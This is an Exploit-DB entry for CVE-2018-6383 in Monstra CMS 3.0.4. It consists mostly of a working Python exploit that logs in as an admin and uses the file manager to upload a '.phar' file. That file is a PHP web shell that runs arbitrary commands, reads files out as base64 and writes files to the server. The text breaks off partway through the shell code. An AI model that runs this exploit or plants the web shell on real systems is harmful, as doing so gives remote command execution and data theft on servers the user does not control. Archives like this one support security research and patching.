Exploit-DB #49949
Description: Monstra CMS 3.0.4 - Remote Code Execution (Authenticated)
Type: webapps
Platform: php
Date: 2021-06-04
Author: Ron Jost

Exploit:
# Exploit Title: Monstra CMS 3.0.4 - Remote Code Execution (Authenticated)
# Date: 03.06.2021
# Exploit Author: Ron Jost (hacker5preme)
# Vendor Homepage: https://monstra.org/
# Software Link: https://monstra.org/monstra-3.0.4.zip
# Version: 3.0.4
# Tested on: Ubuntu 20.04
# CVE: CVE-2018-6383
# Documentation: https://github.com/Hacker5preme/Exploits#CVE-2018-6383-Exploit

'''
Description:
Monstra CMS through 3.0.4 has an incomplete "forbidden types" list that excludes .php (and similar) file extensions
but not the .pht or .phar extension, which allows remote authenticated Admins or Editors to execute arbitrary PHP code
 by uploading a file, a different vulnerability than CVE-2017-18048.
'''


'''
Import required modules:
'''
import argparse
import requests


'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Exploit for CVE-2018-6383')
my_parser.add_argument('-T', type=str, help='Target IP')
my_parser.add_argument('-P', type=str, help='Target Port')
my_parser.add_argument("-U", type=str, help="Monstra CMS Path")
my_parser.add_argument('-u', type=str, help="Username")
my_parser.add_argument('-p', type=str, help='Password')
args = my_parser.parse_args()
target_ip = args.T
target_port = args.P
Monstracms_path = args.U
username = args.u
password = args.p


'''
Exploit:
'''
# Cookies:
session = requests.Session()
url = "http://" + target_ip + ':' + target_port + Monstracms_path + 'admin/index.php'
cookies = session.get(url).cookies.get_dict()
value = cookies['PHPSESSID']
cookies = {
    "__atuvc": "9%7C22",
    'PHPSESSID': 'sga7s1jb0o3b7dlueh5soin8a9'
}

# Construct authentication header:
headers = {
    "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Accept-Language": "de,en-US;q=0.7,en;q=0.3",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": "http://" + target_ip,
    "Connection": "close",
    "Referer": "http://" + target_ip + ':' + target_port + Monstracms_path + 'admin/index.php',
    "Upgrade-Insecure-Requests": "1"}

# Construct authentication body
body = {
    "login": username,
    "password": password,
    "login_submit": "Log In"}
x = requests.post(url, headers=headers, cookies=cookies, data=body)

# Construct Exploit link:
url = "http://" + target_ip + ':' + target_port + Monstracms_path + 'admin/index.php?id=filesmanager'

# Construct Exploit header:
header = {
    "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Accept-Language": "de,en-US;q=0.7,en;q=0.3",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]160847658",
    "Origin": "http://" + target_ip,
    "Connection": "close",
    "Referer": "http://" + target_ip + Monstracms_path + 'admin/index.php?id=filesmanager',
    "Upgrade-Insecure-Requests": "1"
}

# Construct Exploit data:
burp0_data = "----------------------------[PII_REDACTED][PII_REDACTED]160847658\r\nContent-Disposition: form-data; name=\"csrf\"\r\n\r\n1e[PII_REDACTED]9d612c40962b401c556b70e9bb3c\r\n----------------------------[PII_REDACTED][PII_REDACTED]160847658\r\nContent-Disposition: form-data; name=\"file\"; filename=\"shell.phar\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n    $stdout = array();\n\n    if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n        // pass\n    } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        chdir($match[1]);\n    } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        return featureDownload($match[1]);\n    } else {\n        chdir($cwd);\n        exec($cmd, $stdout);\n    }\n\n    return array(\n        \"stdout\" => $stdout,\n        \"cwd\" => getcwd()\n    );\n}\n\nfunction featurePwd() {\n    return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n    chdir($cwd);\n    if ($type == 'cmd') {\n        $cmd = \"compgen -c $fileName\";\n    } else {\n        $cmd = \"compgen -f $fileName\";\n    }\n    $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n    $files = explode(\"\\n\", shell_exec($cmd));\n    return array(\n        'files' => $files,\n    );\n}\n\nfunction featureDownload($filePath) {\n    $file = @file_get_contents($filePath);\n    if ($file === FALSE) {\n        return array(\n            'stdout' => array('File not found / no read permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        return array(\n            'name' => basename($filePath),\n            'file' => base64_encode($file)\n        );\n    }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n    chdir($cwd);\n    $f = @fopen($path, 'wb');\n    if ($f === FALSE) {\n        return array(\n            'stdout' => array('Invalid path / no write permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        fwrite($f, base64_decode($file));\n        fclose($f);\n        return array(\n            'stdout' => array('Done.'),\n            'cwd' => getcwd()\n        );\n    }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n    $response = NULL;\n\n    switch ($_GET[\"feature\"]) {\n        case \"shell\":\n            $cmd = $_POST['cmd'];\n            if (!preg_match('/2>/', $cmd)) {\n                $cmd .= ' 2>&1';\n            }\n            $response = featureShell($cmd, $_POST[\"cwd\"]);\n            break;\n        case \"pwd\":\n            $response = featurePwd();\n